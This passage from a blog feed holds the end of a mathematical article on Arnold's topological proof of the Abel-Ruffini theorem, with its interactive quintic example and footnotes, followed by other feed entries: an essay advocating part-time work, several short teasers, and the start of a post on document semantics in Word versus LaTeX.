      generators \(g_1\) to \(g_m\) of \(K^{(i)}(S_n)\). For \(i &gt;
      0\), this can be done by applying \([\![ o_1, o_2 ]\!]\) to the
      operations corresponding to the generators of
      \(K^{(i-1)}(S_n)\).&lt;/li&gt;
    &lt;li&gt;For each \(o_j\):
    &lt;ol&gt;
      &lt;li&gt;Apply \(o_j\).&lt;/li&gt;
      &lt;li&gt;If \(R\) is not in order but \(X\) is, terminate indicating
        that \(o_j\) rules out \(f(a_n, a_{n-1}, \dotsc)\).&lt;/li&gt;
      &lt;li&gt;Undo \(o_j\), i.e. apply \(o_j^\prime\) or reset to the
      initial state of \(r_1, \dotsc, r_n\).&lt;/li&gt;
    &lt;/ol&gt;&lt;/li&gt;
  &lt;/ol&gt;&lt;/li&gt;
  &lt;li&gt;Terminate indicating that \(f(a_n, a_{n-1}, \dotsc)\) was unable to
  be ruled out because the depth limit has been reached.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;

&lt;p&gt;This algorithm basically just implements the proof of the following
  lemma, which generalizes the previous theorems, except that it tries
  to find the simplest operation that is a generator that rules out
  the given expression.&lt;/p&gt;

&lt;p&gt;Before we state the lemma, we need another definition: let the &lt;em&gt;radical level&lt;/em&gt; of an algebraic expression
  \(f(a_n, a_{n-1}, \dotsc)\) be \(0\) if \(f(a_n, a_{n-1}, \dotsc)\) is a
  rational expression, \(1\) if \(f(a_n, a_{n-1}, \dotsc)\) has only
  non-nested radicals, and \(n + 1\) if the maximum number of nested
  radicals is \(n\).&lt;/p&gt;

&lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Lemma 3&lt;/span&gt;.) If the
  algebraic expression \(f(a_n, a_{n-1}, \dotsc)\) has radical level
  \(d\) and \(K^{(d)}(S_n)\) is non-trivial, then any operator that
  maps to a non-trivial element \(g\) in \(K^{(d)}(S_n)\) rules out
  \(f(a_n, a_{n-1}, \dotsc)\) as the solution to the general
  \(n\)th-degree polynomial equation
  \[
  a_n x^n + a_{n+1} x^{n+1} + \dotsb + a_0 = 0\text{.}
  \]&lt;/div&gt;

&lt;div class="proof"&gt;
&lt;p&gt;&lt;span class="proof-name"&gt;Rough sketch of proof.&lt;/span&gt; We just do
  induction on \(d\). For the base case \(d = 0\), if \(K^{(0)}(S_n)\)
  is non-trivial, then \(n \ge 2\). Let \(g = (i \; j)\) for any \(i
  \ne j\), of which there must at least be one. Then by the same
  reasoning as Theorem&amp;nbsp;1, \(g\) rules out \(f(a_n, a_{n-1},
  \dotsc)\). Since the \((i \; j)\) generate \(S_n\), then any \(g \in
  S_n\) is the composition of some sequence of \((i \; j)\)s, each of
  which rules out \(f(a_n, a_{n-1}, \dotsc)\), so \(g\) must also rule
  it out.&lt;/p&gt;

&lt;p&gt;Assume the lemma holds for \(d\), and let \(x = f_{d+1}(a_n,
  a_{n-1}, \dotsc) = \sqrt[k]{f_d(a_n, a_{n-1}, \dotsc)}\) for some
  \(k\), where \(f_d\) has radical level \(d\). Let \(o\) act on \(R\)
  like any non-trivial element \(g\) of \(K^{(d+1)}(S_n)\). By the
  induction hypothesis, all elements \(h_i \in K^{(d)}(S_n)\) cause
  \(x = f_d(a_n, a_{n-1}, \dotsc)\) to go around a loop, so pick a
  point \(z_0\) that is never equal to any point \(x\) traverses under
  any operation corresponding to \(h_i\). Then, since \(g = [h, k]\)
  for \(h, k \in K^{(d)}(S_n)\), by the same reasoning as in
  Theorem&amp;nbsp;2, the total angle induced by \(o\) on \(x =
  f_{d+1}(a_n, a_{n-1}, \dotsc)\) around \(z_0\) is \(0\), and the
  distance from \(z_0\) remains unchanged. Thus, \(x = f_{d+1}(a_n,
  a_{n-1}, \dotsc)\) remains fixed, and \(o\) rules it out.&lt;/p&gt;

&lt;p&gt;By the same reasoning as in Theorem 2, this can be extended to the
  general case of \(f(a_n, a_{n-1}, \dotsc)\) being any algebraic
  formula with nesting level \(d + 1\). &amp;#x220e;&lt;/p&gt;
&lt;/div&gt;

&lt;div&gt;We can immediately deduce the following corollaries, using the fact
that \(K^{(2)}(S_4)\) is non-trivial:

&lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Corollary 4&lt;/span&gt;.) An
algebraic expression with at most singly-nested radicals in the
coefficients of the general quartic equation
  \[
  ax^4 + bx^3 + cx^2 + dx + e = 0
  \]
  cannot be a solution to this equation.&lt;sup&gt;&lt;a href="#fn6" id="r6"&gt;[6]&lt;/a&gt;&lt;/sup&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;/section&gt;

&lt;section&gt;
&lt;header&gt;
&lt;h2&gt;5. Quintic Equations&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;Now, finally, the quintic. Let&amp;rsquo;s jump right to the interactive example.&lt;/p&gt;

&lt;div class="interactive-example"&gt;
  &lt;h3&gt;Interactive Example 6: The quintic equation&lt;/h3&gt;

  &lt;div class="graph-container"&gt;
    Roots
    &lt;div class="graph jxgbox" id="rootBoardQuintic"&gt;&lt;/div&gt;

    &lt;span id="rootListQuintic"&gt;
      \(R = \langle r_1, r_2, r_3, r_4, r_5 \rangle\)
    &lt;/span&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      Reset \(R\) and \(X\) order
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(A_1 = ↺_{1, 2}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(A_2 = ↺_{2, 3}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(A_3 = ↺_{3, 4}\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(A_4 = ↺_{4, 5}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(A_5 = ↺_{5, 1}\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(A_1^\prime = ↻_{1, 2}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(A_2^\prime = ↻_{2, 3}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(A_3^\prime = ↻_{3, 4}\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(A_4^\prime = ↻_{4, 5}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(A_5^\prime = ↻_{5, 1}\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(B_1 = [\![ A_2, A_1 ]\!] \mapsto (1 \; 2 \; 3)\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(B_2 = [\![ A_3, A_2 ]\!] \mapsto (2 \; 3 \; 4)\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(B_3 = [\![ A_4, A_3 ]\!] \mapsto (3 \; 4 \; 5)\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(B_4 = [\![ A_5, A_4 ]\!] \mapsto (4 \; 5 \; 1)\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(B_5 = [\![ A_1, A_5 ]\!] \mapsto (5 \; 1 \; 2)\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(B_1^\prime\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(B_2^\prime\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(B_3^\prime\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(B_4^\prime\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(B_5^\prime\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(C_1 = [\![ B_3, B_1 ]\!] \mapsto (2 \; 3 \; 5)\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(C_2 = [\![ B_4, B_2 ]\!] \mapsto (3 \; 4 \; 1)\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(C_3 = [\![ B_5, B_3 ]\!] \mapsto (4 \; 5 \; 2)\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(C_4 = [\![ B_1, B_4 ]\!] \mapsto (5 \; 1 \; 3)\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(C_5 = [\![ B_2, B_5 ]\!] \mapsto (1 \; 2 \; 4)\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(C_1^\prime\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(C_2^\prime\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(C_3^\prime\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(C_4^\prime\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      \(C_5^\prime\)
    &lt;/button&gt;
  &lt;/div&gt;

  &lt;div class="graph-container"&gt;
    Coefficients
    &lt;div class="graph jxgbox" id="coeffBoardQuintic"&gt;&lt;/div&gt;

  &lt;/div&gt;

  &lt;div class="graph-container"&gt;
    Candidate solution
    &lt;div class="graph jxgbox" id="formulaBoardQuintic"&gt;&lt;/div&gt;

    &lt;span id="resultListQuintic"&gt;
      \(X = \langle x_1, x_2, x_3, x_4, x_5, x_6 \rangle\)
    &lt;/span&gt;

    &lt;span id="resultNoteQuintic"&gt;&lt;/span&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quinticDisableWhileRunningOp" type="button"&gt;
      Find first operation that rules out selected formula
    &lt;/button&gt;

    &lt;span id="findFirstOpStatusQuintic"&gt;&lt;/span&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input class="interactive-example-button quinticDisableWhileRunningOp" name="formulaQuintic" type="radio" /&gt;
      \(x_1 = f_A = Δ\)
    &lt;/label&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input class="interactive-example-button quinticDisableWhileRunningOp" name="formulaQuintic" type="radio" /&gt;
      \(x_{1, 2} = f_B = \sqrt{f_A}\)
    &lt;/label&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input checked="checked" class="interactive-example-button quinticDisableWhileRunningOp" name="formulaQuintic" type="radio" /&gt;
      \(x_{1, 2, 3, 4, 5, 6} = f_C =\)
      &lt;br /&gt;
      \(\qquad \sqrt[3]{(f_B - 0.8)(f_B - 0.75)}\)
    &lt;/label&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;

&lt;p&gt;Similarly to the interactive example for the quartic, the
  operations are organized to make clear what commutator subgroup
  they&amp;rsquo;re in. There&amp;rsquo;s something interesting
  though&amp;mdash;the \(C_i\) seem very similar to the \(B_i\). In fact,
  the \(C_i\) also act on \(R\) like \(A_5\)! Also, if you compute
  \(D_i = [\![ C_{(i+1) \bmod 5}, C_{i \bmod
  5} ]\!]\), you will find that \(D_i\) acts exactly like \(B_i\) on
  \(R\)!&lt;/p&gt;

&lt;div class="p"&gt;Why can we do this for the quintic, but not for anything of lower
  degree? This is because \(A_5\) is &lt;a href="https://en.wikipedia.org/wiki/Perfect_group"&gt;perfect&lt;/a&gt;,
  which means that it equals its own commutator subgroup. (You can
  verify this yourself by brute force, e.g. writing a program, or you
  can play around with \(3\)-cycles and see that any \(3\)-cycle is
  the commutator of two other \(3\)-cycles.) Then this immediately
  implies that \(K^{(n)}(S_5)\) is non-trivial for any \(n\), which
  then implies our main result:

&lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Abel-Ruffini theorem&lt;/span&gt;.)
  An algebraic expression in the coefficients of the general
  \(n\)th-degree polynomial equation
  \[
  a_n x^n + a_{n-1} x^{n-1} + \dotsb + a_0 = 0
  \]
  for \(n \ge 5\) cannot be a solution to this equation.&lt;/div&gt;

&lt;div class="proof"&gt;
&lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; By the above, \(A_5\) is
  perfect, so \(K^{(d)}(S_5)\) is non-trivial for all \(d\).&lt;/p&gt;

&lt;p&gt;Since \(S_5\) is a subgroup of \(S_n\) for \(n \ge 5\), \(A_5 =
K(S_5)\) must also be a subgroup of \(A_n = K(S_n)\) for \(n \ge
5\). But since \(A_5\) is perfect, then \(A_5\) must also be a
subgroup of \(K^{(d)}(S_n)\) for any \(d\), which means that
\(K^{(d)}(S_n)\) is non-trivial for any \(d\) and \(n \ge 5\).&lt;/p&gt;

&lt;p&gt;An algebraic expression has some finite radical level \(d\), but
  \(K^{(d)}(S_5)\) is non-trivial for any \(d\) and \(n \ge 5\), so by
  Lemma&amp;nbsp;3 no algebraic expression can be solution to the general
  \(n\)th-degree polynomial equation for \(n \ge 5\). &amp;#x220e;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;With the theorem above, we now have a succinct answer to the
question at the beginning of this article. You can&amp;rsquo;t write down
a solution to the general quadratic equation that is a rational
expression because you can find an operation on the roots that will
permute them non-trivially and yet leave the result of the expression
constant. For the same reason, you can&amp;rsquo;t write down a solution
to the general \(n\)th-degree polynomial equation that is an algebraic
equation!&lt;/p&gt;

&lt;p&gt;Finally, as a bonus, I&amp;rsquo;ll explain how to generate algebraic
  expressions that require a &amp;ldquo;\(d\)th-level&amp;rdquo; operator,
  meaning an operator that maps to an element of \(K^{(d)}(S_n)\),
  assuming it&amp;rsquo;s non-trivial. This shows that there&amp;rsquo;s no
  single &amp;ldquo;super-operation&amp;rdquo; that rules out all algebraic
  expressions.&lt;/p&gt;

&lt;div class="p"&gt;As an example, the formulas in the interactive example above are
chosen so that \(f_A\) is ruled out by the \(A_i\), \(f_B\) is ruled
out by the \(B_i\), etc. They depend on the particular roots chosen,
of course, which is why this interactive example doesn&amp;rsquo;t let you
move the roots around, but in principle you could build formulas for
any polynomial that is first ruled out by \(C_i\), or \(D_i\), or
whatever you wish. Given a polynomial \(P = a_n x^n + a_{n-1} x^{n-1}
+ \dotsb + a_0\) of degree \(n \ge 5\) and \(d\), a recursive
algorithm to generate an expression that is ruled out only by a
&amp;ldquo;\(d\)th-level&amp;rdquo; operator is:

  &lt;ol&gt;
    &lt;li&gt;If \(d = 0\), return \(Δ(a_n, a_{n-1}, \dotsc)\).&lt;/li&gt;
    &lt;li&gt;Otherwise, run this algorithm with \(P\) and \(d-1\) to get
      \(f_{d-1}(a_n, a_{n-1}, \dotsc)\).&lt;/li&gt;
      &lt;li&gt;Find operations \(o_1\) to \(o_m\) that correspond to
        generators \(g_1\) to \(g_m\) of \(K^{(d-1)}(S_n)\).&lt;/li&gt;
      &lt;li&gt;For each \(o_i\):
        &lt;ol&gt;
          &lt;li&gt;Apply \(o_i\), which makes \(x = f_{d-1}(a_n, a_{n-1},
          \dotsc)\) go around a loop. Record the looped-around regions
          and their associated rotation numbers (i.e., the total angle
          divided by \(2π\)).&lt;/li&gt;
        &lt;/ol&gt;
      &lt;/li&gt;
      &lt;li&gt;Pick points \(z_1, \dotsc, z_t\) such that each \(z_i\) has
        a non-zero rotation number for at least one \(o_j\). \(t\) can
        be at most \(m\).&lt;/li&gt;
      &lt;li&gt;Let \(k\) be the least number such that, for every \(o_i\),
        \(k\) doesn&amp;rsquo;t divide any of the rotation numbers of any
        \(z_j\) with respect to \(o_i\). Return \(f_d(a_n, a_{n-1}, \dotsc) = \sqrt[k]{\prod_i
        (f_{k-1}(a_n, a_{n-1}, \dotsc) - z_i)}\).
      &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;

&lt;/section&gt;

&lt;hr /&gt;

&lt;p&gt;Like this post? Subscribe to
  &lt;!-- The image is 256x256, the center of the dot is 189 pixels from the
     top, and the radius of the dot is 24. Therefore, the dot is 43/256 =
     0.16796875 of the image height above the bottom.--&gt;
&lt;a href="feed/atom"&gt;my feed &lt;img alt="RSS icon" src="feed-icon.svg" /&gt;&lt;/a&gt;

  or follow me on
  &lt;a href="https://twitter.com/fakalin"&gt;Twitter &lt;img alt="Twitter icon" src="twitter-icon.svg" /&gt;&lt;/a&gt;.&lt;/p&gt;


&lt;section class="footnotes"&gt;
  &lt;header&gt;
    &lt;h2&gt;Footnotes&lt;/h2&gt;
  &lt;/header&gt;

  &lt;p id="fn1"&gt;[1] This proof is originally due to &lt;a href="https://en.wikipedia.org/wiki/Vladimir_Arnold"&gt;Arnold&lt;/a&gt;. There
  are a &lt;a href="https://www.youtube.com/watch?v=RhpVSV6iCko"&gt;couple&lt;/a&gt;
    of &lt;a href="http://drorbn.net/dbnvp/AKT-140314.php"&gt;videos&lt;/a&gt; that
    talk about this proof, as well as
    &lt;a href="http://link.springer.com/book/10.1007%2F1-4020-2187-9"&gt;this book&lt;/a&gt;
    based on Arnold&amp;rsquo;s lectures, and
    &lt;a href="https://www.tmna.ncu.pl/static/files/v16n2-02.pdf"&gt;this paper&lt;/a&gt;.
    I mostly follow Boaz&amp;rsquo;s video, and the interactive
    visualizations are based on the visualizations he has in his
    video.&lt;/p&gt;

  &lt;p&gt;The interactive visualizations were generated using
  the excellent
    &lt;a href="http://jsxgraph.uni-bayreuth.de/wp/index.html"&gt;JSXGraph&lt;/a&gt; library.
    &lt;a href="#r1"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn2"&gt;[2] Theorem&amp;nbsp;1 can be generalized even more! We can
    append other functions and operations to rational expressions, as
    long as those functions and operations are continuous and
    single-valued. For example, we can allow the use of exponentials
    and trigonometric functions, which is something that the standard
    Galois theory cannot handle.&lt;a href="#r2"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn3"&gt;[3] More precisely, a \(↺_{i, j}\)
    contains a pair of simple paths, i.e. continuous injective
    functions \([0, 1] \to \mathbb{C}\), between two distinct points
    of \(\mathbb{C}\), such that their concatenation defines a simple
    closed curve
    around a region in \(\mathbb{C}\) with a counter-clockwise
    orientation. Also, depending on the exact method of formalizing
    \(↺_{i, j}\), it either explicitly or implicitly
    encodes a permutation on \(R\). Then we can define an operation
    \(*\) on the \(↺_{i, j}\) and
    \(↻_{i, j}\) (defined analogously) which
    concatenates the paths (and composes the permutations, if
    explicitly encoded). Since the space of paths has no inverses or
    an identity, the \(↺_{i, j}\) and
    \(↻_{i, j}\) generate a &lt;a href="https://en.wikipedia.org/wiki/Free_semigroup"&gt;free semigroup&lt;/a&gt; with
    the operation \(*\). Then this semigroup defines an
    &lt;a href="https://en.wikipedia.org/wiki/Semigroup_action"&gt;action&lt;/a&gt;
    on \(R\) via its associated permutation on \(R\), which then just
    generates \(S_n\), since \(S_n\) is generated by adjacent swaps.&lt;/p&gt;

  &lt;p&gt;We make a distinction between the operation
    \(↺_{i, j}\) and the permutation it induces on
    \(R\), since the latter &amp;ldquo;loses&amp;rdquo; the orientation
    information, which is important to preserve when talking about the
    action of \(↺_{i, j}\) on some \(x_i\).
    
    &lt;a href="#r3"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn4"&gt;[4] Note that, depending on the text, the commutator may
    be defined slightly differently as \(g h g^{-1} h^{-1}\).
    &lt;a href="#r4"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn5"&gt;[5] \(K(A_4)\) is isomorphic to \(V\), the
    &lt;a href="https://en.wikipedia.org/wiki/Klein_four-group"&gt;Klein four-group&lt;/a&gt;.
    &lt;a href="#r5"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn6"&gt;[6] In fact, the quartic formula has three nested
  radicals. I wonder why?
    &lt;a href="#r6"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;</description><author>Fred Akalin</author><pubDate>Mon, 26 Sep 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.akalin.com/quintic-unsolvability</guid></item><item><title>Consider Part-Time Work</title><link>https://ntietz.com/blog/consider-part-time-work/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;It has long been predicted that with more automation and more technology, we could all work less and have more leisure time, but we continue to fall short of that promise. In many ways, we're working harder and longer, with more stress, than previous generations did. I think that a large part of that is because of societal pressures to work long hours, even when doing so doesn't make sense.&lt;/p&gt;
&lt;p&gt;That doesn't make a lot of sense to me. We shouldn't work long hours just for the sake of it, especially because right now, conditions are almost perfect for accommodating part-time work. It would benefit everyone if we could reverse societal pressures and encourage part-time work and shorter hours.&lt;/p&gt;
&lt;p&gt;Many arguments center around the benefits to the employees - which are numerous - but there are immense benefits to employers, families, and society as a whole.&lt;/p&gt;
&lt;h2 id="employers-benefit"&gt;Employers Benefit&lt;/h2&gt;
&lt;p&gt;Here are a few of the reasons that you should consider part-time work for your employees, whether you're running a startup or a multi-national corporation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Programmers are like cows... and we know that happy milk comes from happy cows. Traditionally, we have tried to make programmers happy by giving them perks like ping-pong tables and free beer, but those are exclusionary perks (not everyone drinks, not everyone wants to live like they're in college) that benefit a particular demographic, whereas everyone can benefit from having fewer hours, so they have more to do what they want.&lt;/li&gt;
&lt;li&gt;You remove waste while retaining throughput. When you cut down hours, you will mainly remove the wasted hours - those spent on long coffee breaks and long lunch breaks and talking at the water cooler. But you will also remove other forms of waste, as your employees will start to police meeting length and cut down on the Nerf dart battles, because when their time is limited they will not want to waste it.&lt;/li&gt;
&lt;li&gt;You can retain people who would otherwise leave. There are plenty of people who leave jobs because their schedules aren't flexible enough. I recently left a job because the hours were not conducive to the other projects I want to work on, and it's fairly common for new parents to leave for a job that gives them more time with their families. If you let employees work part-time, you will be able to retain these talented employees and avoid leaving gaps in your lineup.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="employees-benefit"&gt;Employees Benefit&lt;/h2&gt;
&lt;p&gt;The benefits to employees are fairly self-explanatory, but here goes anyway:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You get to have a fresher mind when you're at work, because you're not at work as often.&lt;/li&gt;
&lt;li&gt;You have more free time to explore the hobbies you love, whether that is running or reading or even more programming.&lt;/li&gt;
&lt;li&gt;You will cut down on wasted time at work (less reddit, shorter meetings, shorter coffee breaks) and will end up leaving feeling much more fulfilled.&lt;/li&gt;
&lt;li&gt;For those of you with families or planning on having one, you get more time with your family - who can argue with that?&lt;/li&gt;
&lt;li&gt;If you want to start your own company, it gives you another option instead of just quitting your job or trying to burn the candles at both ends while working a full-time job. (This is what I'm doing - consulting part-time, and starting a company in the rest of my time, so I work full-time but only get paid for part of it.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="society-benefits"&gt;Society Benefits&lt;/h2&gt;
&lt;p&gt;Probably most important here are the benefits to society at large, especially because getting a lot of part-time work will require a societal shift so that it is not looked down upon to avoid full-time employment (and to pressure employers to allow it and provide benefits to part-time workers). Here are just a few, although there are many more I've missed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We can create more white-collar jobs. There is a certain amount of demand for programmers and accountants and actuaries, so if each of these employees provides fewer hours, we can hire more of them. In the long-run, this demand will encourage creating job training programs, encourage more people to pursue these fields, and hopefully help elevate more people to the middle or upper class.&lt;/li&gt;
&lt;li&gt;It makes for a more equal society and reduces some gender barriers for women (and men) who want to be parents. No one should have to choose between having a career and being the primary parent, so accepting part-time work would aid in this. Primary parents could still have careers. Children of career-oriented people could still have parents. Everyone involved gets more time with those they love and it would be great.&lt;/li&gt;
&lt;li&gt;Society would have more innovation and more startups. As other nations are getting more and more innovation, the US is at a critical juncture. We need to ensure that our economy stays strong and our innovation sector stays at the forefront if we want to remain economically competitive - let alone dominant - for years to come. People come up with their best, most innovative ideas when they are well rested and when they have time to just sit and think and be bored, so let's create more of that. Having longer hours and longer commutes may grind out productivity right now (although, I'm skeptical) but in the long run it will not benefit our society. We need a culture that fosters creativity, not grinding out widgets.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;So, that's my pitch. I think that any of you who want to be more creative, who want to learn more, who want more freedom - you should consider working part time, and you should consider the same for your employees. I've taken the leap, and so far it has been great. I'm more creative than I was a month ago, and it seems like I'm becoming more creative every day. Join me.&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Mon, 26 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/consider-part-time-work/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>No SDN Kubernetes</title><link>https://justingarrison.com/blog/2016-09-26-no-sdn-kubernetes/</link><description>Kubernetes networking has a few requirements.</description><author>Justin Garrison's Homepage</author><pubDate>Mon, 26 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-09-26-no-sdn-kubernetes/</guid></item><item><title>Raspberry Pi Video Overlay on OMXPlayer via Kivy</title><link>https://peanball.net/2016/09/raspberrypi-video-overlay-omxplayer-kivy/</link><description>&lt;p&gt;In one of my hobby projects I needed to display additional information on top of a running video. The whole project is based on the Raspberry Pi and Python.&lt;/p&gt;
&lt;p&gt;This article describes the approach I&amp;rsquo;ve taken to display arbitrary content over the video with the help of the very flexible (and admittedly awesome) Kivy framework.&lt;/p&gt;</description><author>peanball.net</author><pubDate>Mon, 26 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://peanball.net/2016/09/raspberrypi-video-overlay-omxplayer-kivy/</guid></item><item><title>Interviewing developers</title><link>https://snevsky.com/blog/interviewing-developers</link><description>I hear it a lot in Kansas City: “We can’t find good engineering talent,” followed by some excuse.</description><author>Serge Nevsky</author><pubDate>Sat, 24 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://snevsky.com/blog/interviewing-developers</guid></item><item><title>2016-09-24</title><link>https://ho.dges.online/pictures/2016-09-24/</link><description>&lt;p&gt;M&amp;amp;D&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sat, 24 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-09-24/</guid></item><item><title>Maze thing</title><link>http://www.nuke24.net/plog/18.html</link><author>TOGoS's Project Log</author><pubDate>Fri, 23 Sep 2016 21:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/18.html</guid></item><item><title>Appearance vs semantics</title><link>http://negfeedback.blogspot.com/2016/09/appearance-vs-semantics.html</link><description>As our department's go-to guy for computer-related queries, I have been involved in ushering many people from Word to LaTeX and more recently Markdown (via &lt;a href="http://jupyter.org/"&gt;Jupyter Notebooks&lt;/a&gt;). I find myself repeating some thoughts over and over again, so I thought I would take the time to write them down this time rather than have another discussion about it.&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;
Formatting and meaning&lt;/h2&gt;
Many modern computer users use direct manipulation tools like Word in a way which achieves the layout and look of the document they are working on in the shortest amount of time possible. This often involves direct formatting. Many Word users do not use styles or really think about the &lt;a href="https://en.wikipedia.org/wiki/Semantics"&gt;semantics&lt;/a&gt; of their document layout at all. Semantics in this context means that there are two layers to the appearance of documents. I can &lt;i&gt;emphasize&lt;/i&gt; a word by writing it in italics. In Word, I simply apply the formatting. But the action of formatting is the same whether I am applying italics because I want&amp;nbsp;to add emphasis or because I want to format a species name like&amp;nbsp;&lt;i&gt;Saccharomyces cerevisiae&lt;/i&gt;. The formatting is handled by the tool, and the semantics are not encoded in the document at all. A human writer or reader would reconstruct the semantics from context, distinguishing between the italics used for emphasis and the italics used for a species name.&lt;br /&gt;
&lt;br /&gt;
